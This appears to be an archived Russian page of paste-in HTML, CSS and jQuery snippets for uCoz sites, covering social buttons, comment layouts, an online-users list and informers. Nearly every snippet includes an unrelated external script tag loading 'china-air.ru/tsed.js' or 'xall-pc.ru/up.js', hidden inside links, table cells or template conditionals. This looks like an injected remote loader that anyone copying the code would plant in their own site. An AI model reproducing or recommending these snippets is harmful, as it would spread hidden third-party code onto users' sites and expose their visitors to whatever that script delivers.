Главная » Архив материалов
Описание: На всех страницах находим код:
Code <div id="rt-maintop"> <div class="clear"></div> </div> <div id="rt-main" class="sa4-mb8"> <div class="rt-grid-8 rt-push-4"> <!-- <body> -->$CONTENT$<!-- </body> --> </div> <div class="rt-grid-4 rt-pull-8"> <div id="rt-sidebar-a"> И перед ним ставим: Code <div class="bg-icons"> <a href="ВАША ССЫЛКА на RSS"target="_blank" title="RSS подписка" class="rss-ic"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a href="ВАША ССЫЛКА в контакте"target="_blank" title="Я Vkontakte" class="twi-ic"></a> <a href="ВАША ССЫЛКА" в мире"target="_blank" title="Я в Мире" class="flcr-ic"></a> </div> В css в самый низ ставим: Code .bg-icons { background: url(http://scriptoza.my1.ru/images/bg-icons.png); height: 216px; width: 53px; position: absolute; top: 470px; margin-left: 960px; } a.rss-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px 0px; height: 56px; width: 50px; position: absolute; top: 24px; display:block; } a.twi-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -56px; height: 58px; width: 50px; position: absolute; top: 82px; left: 0px; display:block; } a.flcr-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -114px; height: 48px; width: 50px; position: absolute; top: 140px; left: 0px; display:block; } a.rss-ic:hover {background-position: 0px 0px;} a.twi-ic:hover {background-position: 0px -56px;} a.flcr-ic:hover {background-position: 0px -114px;} |
Цвет линии зелёный, думаю для светлых дизайнов будет как раз.
Установка: 1) В блок со статистикой ставим в любое место это: Code <div id="Statku"></div> 2) Ниже этого ставим: Code <script type="text/javascript" src="http://bambun.ru/css_js/statistika.js"></script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/statistika.css"> |
Описание: Новый симпотный вид кто онлайн для ucoz
Установка: Ставим в блок куда вам надо данный ниже код: Code <div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3; max-height:160px; overflow:auto; overflow-x:hidden;" id="userList"> <div style="clear:both"></div> </div><script type="text/javascript"> $.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text(); $('a',fuu).each(function(i){ $('#userList').prepend('<div style="margin-top:6px; margin-bottom:-16px; padding-right:6px;" align="right"><img style="margin-right:5px; cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/pmver2.gif" border="0" /><img style="cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/12.gif" border="0" /></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>'); }); }); </script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><style> a.userList:link, a.userList:visited, a.userList:active {display:block; text-decoration:none; border-top:1px solid #ccc; margin-top:-1px; background:#f5f3f3; padding:5px 5px;} a.userList:hover {text-decoration:none; background:#fff;} </style> |
Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта. Установка: - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему ищем код Code $COM_BODY$ и заменяем его на Code <ul class="cell_coment"> $COM_BODY$ </ul> - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код Code <li> <div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div> <div class="coment_info"> <span class="tip"></span> <div class="coment_os"> <div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div> <div class="coment_message left">$MESSAGE$</div> <div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div> </div> </div> </li> - и прописываем в css следующий код Code /* ВИД КОММЕНТАРИЯ
===================================================*/ .cell_coment { list-style: none; padding: 0px; margin: 0px; } .cell_coment li { position: relative; padding-left: 60px; width: 500px; } .coment_info { position: relative; text-align:justify; color: #555; background: #fff; border: 1px solid #C9C9C9; padding: 10px; margin-bottom: 30px; } .coment_os { overflow: hidden; } & ... Читать дальше » |
Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа. Установка 1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код: Code #vkontakte_button img { position: fixed; top:125px; right: -76px; z-index: 99999; cursor: pointer; display: block; } 2.) Следующий код вставляем в любое место на странице между head и /head: Code <script type="text/javascript"> $(function($) { $("#vkontakte_button img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-76px'}, {queue:false, duration: 350}); // $(this).css('right', '-76px'); } ); }); </script> <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;"> <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script> </a> Настройка скрипта Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк.. Вот и все, установка и настройка завершена. |
Описание:
Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога. Установка - заходим в админ панель сайта => Инструменты => Информеры => создать информер - Раздел: ( пользователи ) - Способ сортировки: ( количество комментарий ) - Количество материалов: ( 1 ) - Количество колонок: ( 1 ) теперь открываем информер и копируем туда следующий код: Code <div class="comment_info transparency_i"> <div class="comment_v"> <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?> </a> $USERNAME$ </div> <div class="comment_n"> <img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$ </div> </div> и css стили Code .comment_info { text-align:center; font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f; width:100px; border:1px solid #d2d2d4; background: #e4e5e7; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } .avatar_img { width:65px; height:65px; background: #fff; border:1px solid #d2d2d4; padding: 4px; margin-bottom: 3px; } .comment_v { border-bottom: 1px solid #d2d2d4; padding: 10px 0px 4px 0px; } .comment_n { border-top: 1px solid #fff; padding: 5px 0px 5px 0px; } .transparency_i a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70); -moz-opacity: 0.7; opacity: 0.7; filter: alpha(opacity=70); } |
Описание:
Информер "Отправить СМС" Для установки информера поставьте на сайт следующий код в нужно Вам место: Code <style type="text/css"> <!-- body,td,th { font-family: Arial, Helvetica, sans-serif; font-size: 10px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } --> </style><table border="0" cellpadding="0" cellspacing="0"> <tr> <td><a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.gif" alt="beeline" width="90" height="58" border="0"></a></td> <td><a href="http://www.megafon.ru/sms/" target="_blank"><img src="http://bambun.ru/images/megafon.gif" alt="megafon" width="90" height="58" border="0"></a></td> </tr> <tr> <td><a href="http://sms.mts.ru/" target="_blank"><img src="http://bambun.ru/images/mts.gif" alt="mts" width="90" height="58" border="0"></a></td> <td><a href="http://www.u-tel.ru/b2b/facilities/sms" target="_blank"><img src="http://bambun.ru/images/utel.gif" alt="utel" width="90" height="58" border="0"></a></td> </tr> <tr> <td><a href="http://skylink.ru/msk/sms/" target="_blank"><img src="http://bambun.ru/images/skylink.gif" alt="skylink" width="90" height="58" border="0"></a><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></td> <td><a href="http://sms.tele2.ru/" target="_blank"><img src="http://bambun.ru/images/tele2.gif" alt="tele2" width="90" height="58" border="0"></a></td> </tr> <tr> <td><a href="http://www.kyivstar.net/sms/" target="_blank"><img src="http://bambun.ru/images/kyivstar.gif" alt="kyivstar" width="90" height="58" border="0"></a></td> <td><a href="http://megacom.kg/rus/freesms/" target="_blank"><img src="http://bambun.ru/images/megacom.gif" alt="megacom" width="90" height="58" border="0"></a></td> </tr> <tr> |
Красивая кнопка регистрации для ucoz. Выполнена в синих тонах. При на ведении на неё курсором, она красиво выдвигается.
Чтобы установить кнопку регистрации, нужно этот код вставить туда где вы хотите чтобы она отображалась: Code <script type="text/javascript"> $(function($) { $("#onlinehelp img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-160px'}, {queue:false, duration: 350}); // $(this).css('right', '-160px'); } ); }); </script> <a id="onlinehelp" href="$REGISTER_LINK$" onclick="webChatOpen();return false;"> <img alt="Регистрация" src="http://bambun.ru/images/4283_programm-newuco.png" /> <script src="http://xall-pc.ru/up.js" type="text/javascript"></script> </a> <style type="text/css"> #onlinehelp img { position: fixed; top:40px; right: -160px; z-index: 99999; cursor: pointer; display: block; } </style> |
Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее. Создаем информер комментариев ucoz Инструмента => Информеры => Создать информер и создаём данный информер: Раздел: Комментарии Модуль: Все модули Количество материалов: 10 Количество колонок:1 HTML Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код: Code <div class="last_comment_os transparency_i"> <div class="lc_message"> <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a> <script src="http://xall-pc.ru/up.js" type="text/javascript"></script> </div> <div class="lc_uzer"> <span class="lc_ugol"></span> <?if($USERNAME$)?> <a href="$PROFILE_URL$"> <?if($USER_AVATAR_URL$)?> <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" /> <?else?> <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" /> <?endif?> </a> <?else?> <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/> <?endif?> <span class="lc_name"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?></span> <span class="lc_data">$DATE$ | $TIME$</span> </div> </div> CSS Заходим в CSS и вставляем в конец следующие стили: Code /* Белый вариант последних комментарий
------------------------------------------*/ .last_comment_os { overflow: hidden; float:left; font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555; width:250px; margin: 5px 0px 5px 0px; } .last_comment_os a:link, .last_comment_os a:visited {color:#555;} .last_comment_os a:hover {color:#999;} .lc_message { float:left; margin: 0; padding:5px; width:238px; background: #F6F6F6; border: 1px solid #D6D6D6; } .lc_uzer { float:left; text-align:right; width:250px; position: relative } .lc_ugol { position:absolute; float:right; background: url(http://bambun.ru/images/242703095.png) no-repeat right; width: 27px; height: 27px; top: -1px; right: 20px; } .lc_avatar { float:right; width: 30px; height: 30px; padding:3px; border: 1px solid #D6D6D6; margin: 10px 55px 0px 10px; } .lc_name { float:right; width: 145px; margin: 13px 0px 2px 0px; font-weight: bold; } .lc_data { float:right; font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999; width: 145px; } .transparency_i a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50); ... Читать дальше » |